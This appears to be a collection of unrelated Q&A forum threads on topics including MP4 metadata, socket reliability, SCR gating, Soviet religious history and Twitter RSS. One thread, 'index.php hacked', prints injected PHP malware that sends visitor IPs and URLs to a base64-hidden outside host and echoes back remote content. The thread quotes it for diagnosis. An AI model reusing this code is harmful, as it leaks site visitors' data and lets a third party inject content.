How Oracle ADF Faces renders HTML5 elements

Question: I found somewhere on the web the document below. Could somebody help me to find how Oracle ADF Faces renders HTML5 elements?
Answer: Your question is not clear. ADF Faces components generate markup at runtime and some of those markup components use HTML5.
Answer: note that using ADF Faces you wont be exposed to HTML 5 directly.
Instead the ADF Faces components would use HTML 5 in their rendering.
for example if you need a component with the canvas behavior then this need to be provided as an ADF Faces component.
please check this answer here
Hope that helps .


Save "fingerprint" info inside MP4 videos

Question: I have a Debian server serving MP4 videos (for download, as files) and I was wondering if there is a way to save some unique "exif" information for each user that downloads a file.
I would like to do this ideally on the fly but as a first step I would like to figure out a way to do this at all.
 Any suggestions?
Comment: Could you elaborate on why you'd need this? What kind of info would you store?
Comment: I try to make an application that will sell videos and I would like to save an unique identifier inside the file so if I find that sold file on torrents to be able to figure out the buyer that shared it.
Comment: Its a simple info, like a "UserId: 231323"
Comment: I know they can remove it but generally they won't be aware/won't care. If you could point me to a tool that I could use to edit/add such data would be great.
Answer: You can simply use AtomicParsley:
AtomicParsley input.mp4 --encodedBy "John Doe for ID $RANDOM"

This will create a temporary output file. To overwrite the input file's metadata instead, add the --overWrite switch. You'll then get the following metadata:
$ mediainfo input.mp4
General
Complete name                            : input.mp4
Format                                   : MPEG-4
Format profile                           : Base Media
Codec ID                                 : isom
File size                                : 59.5 MiB
Duration                                 : 3mn 31s
Overall bit rate                         : 2 360 Kbps
Encoded date                             : UTC 2012-01-08 11:16:19
Tagged date                              : UTC 2013-05-20 12:04:12
Writing application                      : John Doe for ID 14077

But don't forget that the user could easily edit out any metadata that you put in the container. If you want to be absolutely safe, you'd probably rather look for digital signage / watermarking services, which watermark the actual video bitstream. Such a watermark cannot be removed.
Comment: Thank you so much, this should solve my problem, I'll test it soon and get back.


What were the Olympic Chinese table tennis players yelling when they scored?

Question: Watching the men's team table tennis gold medal match in the Tokyo 2020(1) Olympics, I noticed that the Chinese players were yelling something every time they scored. I tried googling to see what they were yelling, but all the articles I found said that ping pong players yell "cho" or "cho-le" when they score. What I was hearing sounded nothing like "cho", and maybe sounded like "cho-le" if the "cho" was nearly silent. It definitely sounded like a single syllable word rhyming with "way". I'm guessing they were saying "dui" (对), but can anyone confirm what they were actually saying?
Comment: I guess it is 再來/Zài lái/ (come again/ once more/ continue --> start the next point (imply "I've won this one")
Comment: Troy.
You can see the explanation here on a Chinese Q&A website Zhihu.
https://www.zhihu.com/answer/179392214
Answer: http://www.xinhuanet.com/world/2016-08/12/c_129224485.htm
This article said that the shouts of players after scoring have no practical meaning, just to relieve pressure"这是一种情绪的释放". The shouts of players are different, there are "sa", "ja", "yo", "ho", "ju", etc. I watched the game you asked, their shouts are close to "troy" or "shoy", they have no practical meaning and no corresponding Chinese characters, just a roar.
Comment: I saw a game and the subtitle for this yell was indicated as "走你" (go away!), I  think it is a natural reaction when a 'threat' is dealt with. https://www.youtube.com/watch?v=FU2DXeExjKA&t=1255s
Answer: https://pingsunday.com/why-do-table-tennis-players-say-cho/
I used to play Table Tennis competitively as a kid. Essentially, it's a way to hype yourself, build confidence, while psyching your opponent out after a point.
"Cho" is really derived from 球 (ball). A great way to hear this is to hear someone say 好球 (good ball) with the 4th tone on 球. I've also heard that "Cho-le" can be heard as 球来 (ball come).
The meaning of the sound isn't as important as the feeling it conveys. The purpose is to simultaneously build oneself up while challenging the mental stability of the opponent during a match.
Answer: As a Chinese, I think cho-le phonetically sounds like a local colloquial "出嘞" (chu le) means the ball went out of bound, and therefore they scored. Simply it can be used as Chu (出!)means the ball went out of the table.
Answer: Let's be honest. 操/肏 cào is the big one. You can hear this being exclaimed during a lot of sporting events. Even on a Saturday morning at your local Decathlon, during a friendly game of soccer.
This was also evident during the women's badminton match:
Chinese badminton player's cursing at Tokyo 2020 riles South Koreans

Chen Qingchen, 24, could be heard shouting a popular Chinese slang term, translated loosely as "f**k" in Mandarin, throughout the live televised broadcast of her women's doubles match against South Korea on Tuesday, July 27.

If there is anything that could be understood as "cho" or "cho-le" as the announcers did mention in their commentary. It's more likely to be: Fuck.
Comment: This swearing may be used when the opponent is scoring. Even that, the player wouldn't be allowed to use that word in an international game.
Comment: @r13 Here's just one example from the match OP asked about: https://youtu.be/VTCDQYYKA9o?t=951 @ ~15:52.
Comment: The video is not available or blocked. Tried another one, only heard yelling from the audience.
Answer: The correct answer is "Cho-lei".
Coach EmRatThich (Chinese table tennis coach) has explained here.
why table tennis shout "Chooo!" and "Cho-lei!"
You can search on Google "the meaning of Cho-lei table tennis".


Are sockets reliable?

Question: Is it a good idea to use sockets to send data between two servers, or should I use something like MQ for moving data.
My questions: are sockets reliable, if I need once only/assured delivery of the data?
Are there any other solutions?
Thanks.
Comment: @modosansreves: If scrambled words are legible as long as first and last letters are in place then incorrect grammar won't hurt much. Focus on the message and not the individual words.
Answer: Sockets are an application level API for performing network communication.  The reliability of sockets depends on the network protocol that you select when you create the socket.  If you select TCP/IP, you will get "reliable" transfer ... up to a limit.  If you select UDP/IP you will get "unreliable" transfer.
As stated in other answers, TCP ensures that you don't lose or corrupt data up to a point:

if there is a long enough network
outage, or the sender or receiver
dies a TCP/IP connection will break
and you will lose data unless you
take steps to restart the
connection.
if there is a network
    level data corruption, there is a
    small probability that it won't be
    detected by the checksums.

For higher levels of reliability guarantees than TCP/IP provides, you need to implement more sensitive checksumming and guaranteed delivery mechanisms over the top of your application's Socket-based networking layer. Or use a message queuing product that does hard the work for you.
So the answer to your question is that it depends on how you use Sockets, and on what level of reliability your system requires.
Answer: Sockets are as reliable as you make your implementation, and based upon the underlying hardware. If you don't want the hassle of making a guaranteed delivery service (under what conditions? 100% is never going to happen), a message queue system is a good bet. The message queue will have implemented all of the persistence, queueing, retries, etc which you would need to implement yourself if you went with standard sockets.
Answer: You should probably use an MQ if you need guaranteed delivery no matter what happens (like if the other party goes offline for maintenance) and you don't want to write all the logic yourself. Sockets is what you use to connect to an other party, no matter if that party is the MQ or the final receiver of the message.
Answer: Socket are reliable since every communication is done on top of it, including MQ.
But you may want to add some garanteed delivery with MQ to improve the reliability of your application. What is it? garanteed delivery ensures that your message is processed at least once, and no more than once, by the consumer.
the consumer is off ? the producer is off ? the MQ server is off ? the disk crashes ? thanks to MQ, no message will be lost, whatever happens (provided that your admin knows his job).
In addition to that, if you restart the consumer, no message will be processed twice. Wich may be important if the messages contain million dollars transfers.
But it does not garantee that your message is processed in a raisonnable amount of time. and processing time is sometime more important that garanteed delivery, depending on your application.
It is up to you to choose the best way to communicate between your servers depending on your needs. Garanteed delivery delivery has both financial and performance cost, so it is to be used only if realy needed (millions dollars tranfers for example).
For most applications you can achieve something satisfying only by retrying your messages when then fail. But that is no real once-only garanteed delivery. don't try to implement it by yourself, it is a very difficult stuff that only few are able to achieve. It is useles to consider redevelopping a software as complicated as MQ or Apache AQ.
Hope that helps.

jeb
Answer: Sockets is the raw mechanism for transferring data. Everything else is implemented on top of this. In the OSI network model they belong to layer 4. Although they implement reliable end-to-end connection, they are rarely used as the end protocol. You almost always need to implement an application layer. What this would be depends on your application (do you need to transfer files or just send messages) and your network infrastructure.
Comment: Sockets are not related to the OSI network model. A socket is an interface for (potentially) bidirectional, buffered communication which derives it value from the fact that it can be attached to any underlying channel and supports a large variety of properties of the underlying communication channel.

Beyond raw/tcp/udp and other network communication you might use a socket to communicate locally through a pipe, or whatever channel you may imagine.

Don't reduce this concept to OSI.
Comment: +1: For use of "sockets IS" to spite modosansreves. Of course it could be a complete coincidence but it's a funny one.
Answer: If you use a stream socket, the TCP protocol ensures that data does not get lost in transmission and is unlikely to get corrupted (though you have to decide whether its 16bit checksums are sufficient or you need an app-layer checksum mechanism).
What MQ systems provide, and what you may or may not need is application-level transaction-type reliability, i.e. the ability to guarantee delivery even in the face of intermittent hardware or software failures.
Answer: Depending on the type of data a simple web service may be the quickest solution. They're relatively easy to set up and test. Though for some specific examples I'd need to know what kind of data and environment you're running.
Answer: It depends largly on the type of application you are developing. It you are writing a program where you need response or ack of the message sent then TCP sockets are good. But, if you are implementing some workflow kind of scenario, you should use Message Queues.

Are sockets reliable?


Service (OS X) won't start automatically on demand, says my OS version is too old

Question: I have a text-inserting OS X Service (created by Mark Aufflick and I've been hacking on it) that's giving me an odd problem.
The service is a .service application, installed in ~/Library/Services. pbs has been duly run to rehash the services list.
The problem is, if I choose the service while it isn't already running, I get this error message:

I'm on 10.7.5. Mark's original version required 10.8, but I changed the deployment target to 10.7, cleaned, and built, and the only build of this service on my system is built with the 10.7 setting (which the Info.plist in the project also uses as the value of LSMinimumSystemVersion, so I can see it there).
If I launch the service manually, from the Finder, I don't get this problem. The service launches and runs and I can then invoke it from other applications.
Aside from the possibilities of the salesman having driven over the CPU board, the computer room being moved and our systems being down for the weekend, or the system having consumed all the paper for paging, what could be causing this?
Answer: Perhaps it's not approved by the FCC?
Comment: That, or Borg nanites have infested the service.


index.php hacked

Question: *Just noticed that the code was injected into every index.php file in the website directory as well as every index.php file in other website directories on the same server!
Hi I have been observing a quirky thing going on with one of my websites; Rows in a database table are mysteriously disappearing. Not instantly, but rather over the course of a day, like one row every 30 minutes or so. Anyway, I have been trying really hard to figure out what is causing this, but I have not been able to pinpoint the source of the disappearing rows. So I have begun to feel suspicious that perhaps somebody else is doing it with a bot or something evil, though the effects have not been devastating to the MySQL data (I figure a hacker would want to screw up the entire database if he/she has a chance... not just causally delete a single row every 30 minutes).
So when I opened up the index file on my server I found a block of code that I did not write, and can't understand... indicating that somebody else was able to modify the index.php file on the server. The injected block of php code is attached below:
<code>if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
    if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics
    $stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
        @$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
 {$sResult[0]=" ";
  echo $sResult; // Statistic code end
  }
curl_close($stCurlHandle);
}
}
</code>
I host with HostGator. Could this code be responsible for the disappearing rows in the database?
Does anybody know what this injected code does or what it can do to my website? Is this XSS or is it some other kind of hack? How can I prevent this kind of thing? Any advice appreciated.
Comment: This code is sending all the url hits of your site to http://browserglobalstat.com/statD/stat.php addresses. If they find any url to delete some rows within your code they are using those.
Answer: No, this is just a simple ftp password stealing. Perhaps you use Windows and Total Commander to upload your content, with the password for the account stored. The virus(?) on the Windows workstation connects legally to the FTP server, and appends the code to every directory's index.php. Clean your workstation and change FTP password!

index.php hacked


Buffer Overflows and Out-of-bounds Writes

Question: What is the difference between buffer overflows and out-of-bounds writes? Are buffer overflows a kind of out-of-bounds writes?
Comment: [Sharing your research helps everyone](https://softwareengineering.meta.stackexchange.com/questions/6559/why-is-research-important). Tell us what you've tried and why it didn't meet your needs. This demonstrates that you've taken the time to try to help yourself, it saves us from reiterating obvious answers, and most of all it helps you get a more specific and relevant answer. Also see [ask]
Comment: Fundamentally, there isn't any difference.  The answer below implies that buffer overflows are associated with hacking, which is true to a degree, but a buffer overflow is just that: an overflow of a buffer.  The only way to accomplish a buffer overflow is to do an out-of-bounds write.
Answer:
What is the difference between buffer overflows and out-of-bounds writes?

A buffer overflow usually refers to an exploit targeting a program written in a language like C that doesn't automatically do array bounds checking, where the point is to overwrite the portion of the stack frame that holds a return address, because by putting something special there the exploit can take control of the program to make the program do things it shouldn't.

Are buffer overflows a kind of out-of-bounds writes?

Yes, I think that is fair to say.  A buffer is an array, and filling it past capacity is an array out of bounds access (or more than one such access).
A programming language that checks array bounds on array access will prevent buffer overflows.

There are other bad writes, such as with a store via an uninitialized pointer or reference; also bad conversions (casts) such as from integer to pointer.


How do I broadcast an OP_RETURN transaction using bitcoin cli

Question: I am using Bitcoin Testnet's command line (and GUI). I am curious how, using my own computer and equipment (I already used a faucet) I could send a transaction easily. I tried https://github.com/coinspark/python-OP_RETURN and it failed because it is a newer version of bitcoin. However, I think I could use the CLI to broadcast a message.
Answer: Bitcoin Core allows you to create transactions with up to 80 bytes of arbitrary data in an OP_RETURN output. You do this by using the raw transaction process (using createrawtransaction or fundrawtransaction) or the psbt process (using walletcreatefundedpsbt). For all of those commands, when you specify the outputs, you can specify one that is like: {"data":"<hex string>"} where <hex string> is the data you want to send as a hexadecimal string. This will create a transaction with an OP_RETURN output of 0 value with whatever data you specified in <hex string>. The transaction can then be signed and broadcast just like any other raw transaction or psbt.


To what extent were religious groups persecuted in the Soviet Union?

Question: I understand that many churches were destroyed and even many priests arrested and executed, but how widespread was the violence across the entirety of the Soviet Union?
Comment: Then I suggest you update the question to reflect your specific interest.
Comment: It really depends on the period (and the religion in question). Is there a particular timeframe you're interested in?
Comment: @FelixGoldberg Orthodox Christianity particularly. I'm more interested in the early period when the maximum amount of persecution was occurring.
Answer: During post-Stalin time, it was kind of "moderate persecution": it was possible to visit church briefly "to look into architecture and paintings", but practicing openly was not good for the job carrier. On the contrary, belonging to the Communist party was very good for the carrier, and this was of course fully incompatible. Membership in Komsomol was also incompatible. Most of younger people belonged to Komsomol, and being fired from there was not a good thing for a future.
Some low qualified worker would probably have no problems, but for an ambitious manager, or a student who wants to finish the education, leave alone seeks to become "something", it was really not an option to accept openly religion of any kind, not necessarily traditional one. Students like Jonas Trinkunas have been fired from university even for ancient pagan rituals. Reading science fiction was ok, but just fiction was already "not that good".
Apart from open demotions, Soviet agents were also instructing professors to make certain people to fail "objectively" various entry or graduation exams.
During Stalinism, belonging to religious group was an additional problem, but not belonging was not a protection. Owning property was more important and also sometimes even really truly hardcore stalinists like Nikolai Yezhow were executed by the system.
Comment: ..  after being expelled from the Communist Party and exiled. So I say - moderate only persecution.
Comment: @Anixx And Stalin was studying to become a priest, but ran out of money.
Comment: Do you know that Malenkov (once a premier) was a devoted Christian?
Answer: I don't think the height of persecution fell in the early period. I would point to mid-1930s instead, when the persecution could rely on the young generation that was bred since childhood into unyielding belief into the supreme righteousness of their supreme leader.
Nothing is more effective in extermination of undesirable religions as forcible installation of an alternative religion. Stalin, a former Seminary student, was able to pull this off by mid-1930s. Communism was presented essentially as a religion which one cannot doubt under the penalty of death. Just as Christianity often absorbed pagan rituals when it installed itself as the only religion in some of the new lands, Stalinism borrowed a fair amount of Orthodox Christianity. Th crosses were replaced with giant statues of Communist leaders, icons were replaced with the pictured of those leaders, mandatory in every official building and every school, etc. There were cases such as a 12-yo child sentenced to death for accidentally damaging a Stalin's picture hanging on the wall in his school.
Communism was showed little tolerance to other religions, but it did make minor allowances that would allow elder people worship whatever God they liked. However, the leaders of all the tolerated religions were required to report on their flock to NKVD, which could be the reason for the exceptions. Also, promoting religions was a felony. That is, if a grandpa would attend a church on Sundays he wouldn't suffer more than being blacklisted from any job promotions. However, if he would bring his grandson to the same church he would end up in Gulag. That led to church attendance quickly dwindling.
Most building that belonged to various religions were nationalized and used for other purposes. I recall that in Rostov-upon-Don, where I attended college, everybody knew where the Synagogue was, even though most people had no Jewish roots. The reason: the beautiful building of Rostov Synagogue was converted into a bar two generations ago, and was widely know and the prime place to have a beer or two.
Comment: I am of two minds about this answer: on the one hand, the first paragraph is false - the early 1920s saw a massive attack on the church; however, the rest of your analysis, while technically not directly answering the quesiton, is good and pertinent. So I'd suggest removing the first paragraph. I'd upvote then.
Comment: -1, this does not answer the question.
Comment: @FelixGoldberg agreed. Though under Stalin the attacks on the church did become better organised (less local commanders sending in the goons to rough up some priest and more a centrally coordinated campaign).
Comment: Is there a cite for the example you gave of a 12-year-old sentenced to death?
Answer: The attitude to religion a) changed with time, and b) was different to different religions. In the beginning 1920-30-s, there was a militant anti-religious policy.
Many churches were destroyed, or simply robbed and closed, many priests were prosecuted.
Some were killed, others imprisoned or exiled.
But the main religion (Russian orthodox) was never
completely banned.
Other religions were banned/prohibited for political reasons. For example, the
Greco-Catholic (Uniate) Church was prohibited after WWII. And only after the collapse
of Soviet Union it was legalized again. The reason was political.
In 1940-s and early 50-s there was a civil war in Western Ukraine. Greco-Catholic Church
supported the insurgents who fought for the independence of Ukraine.
The attitude to Russian Orthodox Church changed dramatically during WWII.
In 1941-42 Soviet Union government felt so insecure that they tried to mobilize everything which could help them to win the war. It is at that time the official ideology changed from "Proletarian Internationalism" to Russian nationalism.
And the church was enlisted. Since then it had almost official status within the state,
though anti-religious propaganda never stopped. But after WWII the Orthodox Church officials were not prosecuted, I mean those who were loyal to the state.


Playing Minecraft with arrow keys as a mouse

Question: Is there any way to make the arrow keys to act as a mouse?
Comment: No, you can't replace the mouse with the arrow keys; why would you want to anyway, it'd be very hard to control?
Comment: If you wanted change this on your whole computer which would make it possible then that would be a different question, and that may not belong in the section this was posted.
Answer: If you want to be able to change hitting and placing of blocks then yes,  you would hit esc on your key board. Go to options then controls, ...Go to gameplay, click on what you want to change and press the key you want to change it to.
You can have keys act as a mouse, but it really doesn't have anything to do with Minecraft to be able to have a mouse as keys on your computer.   This link has a step by step instructions for all windows users on how to make your numeric keys work as a mouse.  http://www.computerhope.com/issues/ch000542.htm
Comment: The asker wants to know how to replace the **mouse** with the **arrow keys**, you cannot do this in Minecraft and you're not answering the question.
Comment: @GeorgeWillcox This is answering how to replace mouse actions with keyboard actions, which is one possible interpretation of a vague question. I think this is probably the best answer you can get without suggesting 3rd party tools for keyboard to mouse movement.
Comment: As a note if one uses the default windows MouseKeys accessability system, then the numpad will be able to click as well, so you'll only need to change the "Attack/Destroy" key if you don't want the default click key (which is keypad-5 for click and keypad-0 for hold (keypad-. for release) IIRC)


add new language to /usr/share/dict/words

Question: In this directory I have English dict and my language file, but where I can download other language? Or maybe you known other free dictionary? I need to make list of word that are not in the dictionary.
Comment: Your OS/distribution/package manager probably has a few. What are you using?
Answer: Depending on your Unix, they may be packaged by your system.
For instance, on debian and its derivatives. There's a virtual wordlist package provided by different packages like wamerican, wfrench... If you looks at that package in aptitude, you'll see the options.
There are also various dictionaries for various spell checker like ispell or myspell but they might be in different formats. If you look at all the packages that depend on dictionaries-common (r key in aptitude), you'll find plenty.


Samsung tablet keyboard gone

Question: Its my mums tablet she recently downloaded the new update on her tablet and since it downloaded the keyboard has gone and all she can do is speak to the mic but its not working properly and its too hard for her to use and now we cant connect it to the internet either.  any help please???
Comment: may you please specify which tablet,what version she WAS running and is now running?
Answer: Go to Settings -> My Device Tab -> Language and input and check if the settings are correct. If the default keyboard is set properly and still not working, try to install another keyboard application like SwiftKey and make it default keyboard.

Samsung tablet keyboard gone


Does ἕκτῃ mean "seventh" as well as in Genesis 2:2? Alpheios says that it means "sixth"

Question: I'm reading the LXX (Septuagint bible) and Alpheios Reading tools say that ἕκτῃ means "sixth" here when it's supposed to be "seventh" (according to the original Hebrew). Can anyone shed light on this?
Answer: Cambridge explains this discrepancy:

on the seventh day] Some misunderstanding arose in very early times in consequence of these words. Jealous for the sanctity of the Sabbath, men said, "No, not on the seventh day, but on the sixth day, God finished the work of creation." So we find "on the sixth day" is the reading of the Samaritan, the LXX, and the Syriac Peshitto.

Similarly, Ellicott:

The substitution, in the LXX. and Syriac, of the sixth for the seventh day, as that on which God ended His work, was probably made in order to avoid even the appearance of Elohim having put the finishing touches to creation on the Sabbath.
Answer: The Hebrew original says very clearly: "And on the seventh day God ended his work which he had made; and he rested on the seventh day from all his work which he had made" (as correctly translated in the KJV). But the authors of the LXX evidently thought that this might imply that he continued to work up to and including the seventh day; according they corrected "on the seventh day" to "on the sixth day" (ἐν τῇ ἡμέρᾳ τῇ ἕκτῃ).


My gold storage and gold mines are full, what will happen to the gold in the mine's storage if i upgrade it?

Question: Will it stay in the gold mines until it's upgraded? Or will it vanish?
Answer: When you upgrade the gold mine, all the resources will be lost. It will be emptied and attackers will not be able to steal any of it.
As seen on the wiki:

Note that if your Gold Storages are full at that time, the uncollected gold will be lost!
...
If a Gold Mine is destroyed in an attack while it is being upgraded, no gold will be lost, as the mine is empty during this time.

Note that this applies to all three collectors: Gold mines, Elixir collectors and Dark Elixir drills.
Answer: Your gold will stay in the mines because you cannot fit any in your storages.
Normally, when you upgrade a resource collector the resource will go into your storage once the upgrade starts. In this case the gold will stay in the mine.
However, because there is still gold in the mine raiders can steal gold from it until it is empty.
Comment: This is incorrect.


Does arXiv prevent your work from getting scooped, or the opposite?

Question: On the one hand, it seems like a preprint can discourage dishonest reviewers or editors (who get to see new work before anyone else) from running off with ideas since you have proof of originality with a preprint. On the other hand, a preprint puts the ideas out there to the world at large. What do you think is the safest approach, submitting to journals with or without a preprint?
Comment: Assuming you are dishonest person, I'd advise that the vast majority of what's posted on ArXiv or in journals is simply not worth scooping.  Scooping is not something one really needs to worry about in practice.
Comment: It may allow others to start to build on your work earlier. It depends on you whether that is a good thing or not. Is it a low-hanging fruit that still needs some milking? Or are just afraid of loosing the priority for your current work?
Answer: Preprint services prevent scooping.
Every preprint service puts a date stamp on every document that is published there (and in many cases a DOI as well). That's an effectively unmodifiable record of the time when something went live, at which point nobody can republish your result elsewhere with an earlier date stamp with any reputable publisher.
That said, preprints will not prevent competition for the generation of follow-on research based on a result, nor will it prevent somebody from claiming independent discovery of the same result. Those, however, are just a normal part of doing business in science.
Comment: If I submitted a paper to arxiv, and it produced tons of follow-on research that cited my paper, I would be generally quite pleased.
Comment: ChemRxiv does assign DOIs
Comment: @FedericoPoloni You're right; I'd forgotten that for arXiv the DOI comes from the journal later. bioRxiv assigns the DOI immediately, as do all of the others I've recently interacted with.
Comment: @puppetsock Typically yes! Some people are much more fearful or greedy, e.g., believing that a particular paper opens up a lot of "low hanging fruit" results that they want to gather themselves as well. I believe that such views are typically short-sighted, but I can see how people come to hold them.


Should I gate SCRs on when reverse-biased?

Question: I've been told that it's a bad idea to gate SCRs on when reverse-biased. Is that accurate? I'm reasonably confident that the SCRs won't actually conduct reverse-biased whether gated or not; are there circumstances where that is not true? Are there other problems with gating a reverse-biased SCR? Increased losses? Decreased lifetime?
Comment: Are we talking SCRs with or without (ASCR) reverse blocking. See http://en.wikipedia.org/wiki/Silicon-controlled_rectifier
Comment: Primarily with reverse blocking, though I'd be curious about any difference between them as well.
Answer: From an Infineon app note, page 19, 188.8.131.52.

Thyristors shall only be pulse triggered during the forward off-state phase.
  Positive trigger pulses during the reverse off-state phase will lead to significantly increased off-state losses due to the transistor effects caused. These losses adversely affect the functionality and may lead to destruction.
  Exception: For light triggered thyristors control pulses during the reverse off-state phase are permissible.

Infineon has told me that they can't really quantify the additional losses because it depends on reverse voltage, junction temperature, part number, and the exact unit you happen to have.
I also received this from SanRex today:

When the SCR is reverse biased and a gate signal is present, reverse leakage current will go up typically by 10 times or more.  This increased reverse current will cause over temperature on certain areas of the die, which will deteriorate the die itself.
Answer: In a former life where I worked in power electronics we would not gate the SCRs on in reverse conduction because it reduced the reverse blocking capability of the SCR. It would therefore be easier for an inductive spike or other transient to force the SCR on and ultimately lead to its destruction.
I don't have any evidence to back this up, it was "tribal knowledge" from our greybeard engineers.  We were also working on medium voltage (up to 4kV) and high voltage (13kV and up) systems where we had a number of SCRs in series and it was very important to maintain reverse blocking voltage.
Answer: I have had considerable experience with triggering anti-parallel SCRs used as AC switches on mostly inductive loads. This was for circuit breaker test sets that used 480 VAC primary transformers with secondaries of typically 6 to 18 volts, and producing short term (several cycles) current up to 100,000 amps. We found that we had the best results by driving both gates with DC, initially at a phase angle of 60 to 90 degrees, and maintaining the drive until turning it off. Since both SCRS are ON, reverse blocking is not an issue.
Applying voltage at an initial phase angle of up to 90 degrees, into an inductive load, serves to eliminate a phenomenon known as DC offset, where a zero-crossing trigger will produce a current peak up to twice that at which it eventually stabilizes.
https://relaytraining.com/what-is-dc-offset-ask-chris/
Answer: I was testing a static switching SCR drive like the one in Fig. 1, for a battery operated coil transporting machine, but it had an SCR instead of D1, so I biased it on to make it act as a diode, and found it was discharging the capacitor instead of blocking the current after the inductor reversed it's charge, so I connected a diode between it's gate and anode to trigger it when forward biased.
Later, I worked out how the reverse leakage occurred. See diagram below.[


When an atom is smashed what happens to the subatomic particles created?

Question: Since in theory matter can't be created or destroyed except through a nuclear reaction, what happens to an atom's subatomic particles when it is smashed?
Comment: Can you clarify what you mean by an atom being *smashed*?
Comment: Please extend your question, elaborate with around 3-4 sentences.
Answer: Let us start from proton. If during any process a proton is produced it will get electron from somewhere around and will be converted in hydrogen atom which ultimately will find any other atom to attach with.
There might be alpha particles one of the most stable nuclei, these particle will also get electrons from surrounding and convert into helium atoms.
Heavy nuclear parts will adjust electron cloud accordingly and convert into corresponding atom according to the number of protons they have.
There might be neutrons, neutrons just get absorbed by target nuclei, and hence the products of a smashed atom are consumed.
Answer: In experiments (eg the Relativistic Heavy Ion Collider) ionised atoms of Gold, Lead and others are collided, with some of the nuclear particles forming a quark-gluon plasma...in other words, being broken down into the constituent parts of protons and neutrons. This plasma condenses into a relatively random collection of particles. Some of these are short lived and decay into other particles. Ultimately, in a collider setting, most of them end up being absorbed by various detectors and/or shielding materials.


Replacement for Twitter RSS API?

Question: I'm currently using Twitter's RSS API (example) to retrieve people's tweets for an app. However, once version 1.1 of their API comes out, I won't be able to do this anymore. What's a simple replacement I can use for this?
Comment: Twitter RSS was great for using as [ifttt](http://ifttt.com) triggers, this week my triggers stopped working :-( I hope somew new solution comes along!
Answer: Unfortunately the answer is: "There is none."
Twitter continues to lock down their platform, as they have since the switch to OAuth. If you want to add content to Twitter, you can do that easily. If you want to get content out of Twitter, well, you'll have to conform to Twitter's requirements.
RSS was an easy way of getting content out of Twitter, and so they killed it. They'll tell you that it wasn't really used, but that's a load of bull and they know it, but it sounds good and most people will simply swallow it.
There is a workaround that you can use until March 2013:
https://api.twitter.com/1/statuses/user_timeline/UserName.rss
Replace 'UserName' with the actual twitter username you want.
But after sometime in March/April 2013, that will cease to work and you'll have to use OAuth  and json to parse Twitter feeds.
Comment: Aww. I guess I'll just have to wait until something better comes along, then. Thanks.
Comment: I've created a simple tool which can convert links and other elements on a given site into an RSS feed. There's an example on there showing how it can be used with Twitter. It uses the regular Twitter HTML that's served up when you browse the site, so if Twitter change the HTML, it will likely affect the result: http://createfeed.fivefilters.org
Answer: Use Twitter RSS - Google Apps Script from github to convert Twitter API 1.1 to RSS. Using this option you can get search results, users' timelines, users' favorites or even Twitter Lists.
Comment: Thanks for the Google Apps suggestion! I actually found an alternative way that does something similar.
Comment: I've been using your script, but in the last 3 months or so, it keeps asking for authorization. It works for some time (a day or two), then it asks again for authorization. Any ideas?
Comment: Finally found the time the rewrite it, removing deprecated libraries. Now it works like a charm. Thanks!
Answer: I've put together two mit licensed php scripts and instructions so you can fetch and cache twitter user timelines as RSS..
The most important is to cache the tweets since you are only allowed to call the API 15 times per 15 minutes..
Have a look at twitterrss.net
Answer: I've been looking for an answer to this for a while, basically as I wanted to provide a replacement for the Twitter triggers in IFTTT. When IFTTT removed them we could use Twitter's RSS feeds. However now, with v1 of their API retired, you have to authenticate any requests and they no longer off RSS feeds. It's a shame because it's closing the door for a lot of newbie developers out there.
I'd definitely recommend checking out twitter-rss.com in the answer above, but you might want to check out a solution I've come up with. It is called Twools and it's almost ready.
Twools started off as a way to get back RSS feeds from Twitter. Twitter
retired version 1 of their API in June 2013 as well as retiring RSS feeds. As
well as not having access to RSS feeds, you need to be authenticated to use
the API which
raises the bar for Twitter users and developers. It has been my intention to
make this as easy as possible for you install, however you do need to install
this on your own website (PHP is required). It is just a case of editing a few
lines in a file (with your Twitter app details) and uploading to your website.
Twools offers a number of RSS feeds from the Twitter API:

Your home timeline
User timeline (yours or another user's)
Your mentions
Your favorites
List timeline (from a list that you own)
Direct messages received (disabled by default)
Direct messages Sent (disabled by default)
Twitter Search
New followers
New friends

You can filter the results from the Twitter API by only outputting tweets
containing certain keywords, hashtags or screen names or even by the app used
to send the Tweet. As well as that you can filter based on the user (currently
their location and language). Finally, you can modify the data outputted in
the RSS feed by removing URLs, screen names, hashtags etc or share your recipe
with other folders. As well as an RSS feed generator, Twools has a basic
direct message spam filter (experimental- use at your own risk!) and a simple
social media management tool (basically an HTML version of the RSS filters).
You can also keep an eye on your API usage on the Status page.
With Twools and your app you could

Your tweets when you mention a specific hashtag
Your Twitter Faves:
Get new followers from the a certain country or location
Get tweets when someone mentions Starbucks negatively in a Tweet in the UK
Get tweets when someone tweets to an article on your website

For more information, see http://twools.it/

Replacement for Twitter RSS API?


find shortest paths from source to all vertices using Dijkstra's Algorithm?

Question: For Dijkstra's,i can find shortest paths from source to all vertices in the given graph but how can i calling the algorithm |V| times taking each vertex as a source and store all tables ???
For example :
What is the shortest path from 1 to 4? You need to print the value and the exact path vertices starting from 1 and ending at 4.
Comment: I think you need to provide more detail for us to understand the question.
Answer: I am assuming here that you want to calculate the all-pairs shortest paths for a graph using Dijkstra's.
